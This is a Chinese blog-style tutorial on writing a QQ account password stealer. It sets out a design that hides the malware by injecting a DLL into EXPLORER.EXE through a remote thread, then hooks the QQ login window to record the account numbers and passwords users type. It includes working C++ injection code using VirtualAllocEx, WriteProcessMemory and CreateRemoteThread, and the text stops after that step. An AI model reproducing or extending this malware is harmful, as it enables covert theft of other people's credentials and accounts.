一。先讲几句废话:
经常有听到有朋友QQ被盗的消息,总感觉做出这种行为的人是可鄙的,不就是对QQ窗口进行监视,然后再是记录用户输入的号码和密码,认为没什么了不起。
对于Windows核心编程,本人还是一只菜鸟,前一段时间把《Windows系统编程》粗略的看一边(当然重点地方仔细的看),由于对于C++有点基础,感觉学起来比较容易上手。但到了这两天真正实践的时候,遇到了各种各样的问题。即使一个小小的问题都足以让我这只菜鸟郁闷老半天。直到此时,在完成这个软件的时候,整理一下思路,不但算是给自己个总结,也跟像我一样的菜鸟们分享一下自己的经验。
二。进入主题:
想必大家都已经知道,这类软件的特点就是在用户不知不觉的时候工作。在任务管理器中是看不到它们的,这就是隐藏了进程。采用插入内核的嵌入方式、利用远程插入线程技术、嵌入DLL线程、或挂接PSAPI等都可以达到效果,哎,既然是个菜鸟就选择一个最简单的来做个实验。
先讲一下思路:需要三个进程A,B,C;两个DLL。
初始进程A,用于在进程B中创建远程线程,创建成功立即退出,不会留给任务管理器任何捕捉它的机会(你根本来不及观察)。
进程B作为远程线程的寄主,选择的时候应该是那些系统中必须执行的进程,比如EXPLORER.EXE。其中的远程线程用于监视目标进程。
进程C为目标进程在这里也就是QQ.EXE。
第一个DLL(InspectQQLandDlg.dll),远程线程的载体。
第二个DLL(MyHook.dll),全局钩子函数的载体。
现在要做是利用进程A把InspectQQLandDlg.dll映射到进程B,同时启动该DLL中的远程线程,再利用该线程监视目标进程(QQ.EXE)QQ登陆窗口,一旦找到,立即把MyHook.dll映射到目标进程来监视用户的输入。
这样也清楚了这个软件设计的总体构架,下面用代码来具体实现。
1。远程线程的创建。先利用进程快照取得目标进程,相对比较简单
1. HANDLE hSnapshot ;
2. hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ) ;
3. if ( hSnapshot == INVALID_HANDLE_VALUE)
4. {
5. return 0;
6. }
7. string lpName = "EXPLORER.EXE" ; //设定需要监视的进程名
8. PROCESSENTRY32 pe;
9. pe.dwSize = sizeof ( PROCESSENTRY32 );
10.
11. for( BOOL fOk = Process32First ( hSnapshot, &pe ) ; fOk; fOk =
12. Process32Next( hSnapshot, &pe ) )
13. {
14. if ( pe.szExeFile == lpName )
15. {
16. //取得宿主进程(EXPLORER.EXE)的句柄
17. HANDLE hRemoteProcess = OpenProcess ( PROCESS_ALL_ACCESS,
18. false, pe.th32ProcessID ) ;
19. //取得目标DLL的当前路径(路径可自由设置)
20. char szInspectDllPath[128] ;
21. GetCurrentDirectory ( 128, szInspectDllPath ) ;
22. strcat ( szInspectDllPath, "//debug//InspectQQLandDlg.dll" ) ;
23.
24. //申请存放文件名的空间
25. LPVOID pszInspectDllRemote ;
26. int InspectDllNameLength = sizeof ( szInspectDllPath ) + 1 ;
27. pszInspectDllRemote = VirtualAllocEx ( hRemoteProcess,
28. NULL, InspectDllNameLength, MEM_COMMIT, PAGE_READWRITE ) ;
29.
30. //把dll文件名写入申请的空间
31. WriteProcessMemory ( hRemoteProcess, pszInspectDllRemote,
32. (LPVOID)szInspectDllPath, InspectDllNameLength, NULL);
33. //获取动态链接库函数地址
34. HMODULE hModule ;
35. hModule = GetModuleHandle ( "kernel32.DLL" ) ;
36. LPTHREAD_START_ROUTINE fnStartAddr ;
37. fnStartAddr = ( LPTHREAD_START_ROUTINE ) GetProcAddress ( hModule,
38. "LoadLibraryA" ) ;
39.
40. //创建远程线程
41. HANDLE hInspectRemoteThread = NULL ;//存放远程线程句柄
42. hInspectRemoteThread = CreateRemoteThread ( hRemoteProcess, NULL, 0,
43. fnStartAddr, pszInspectDllRemote, 0, NULL ) ;
44.
45. if( hSnapshot != NULL )
46. CloseHandle ( hSnapshot ) ;//关闭进程快照
47. CloseHandle ( hRemoteProcess ) ;
48. break ;
49. }
50. }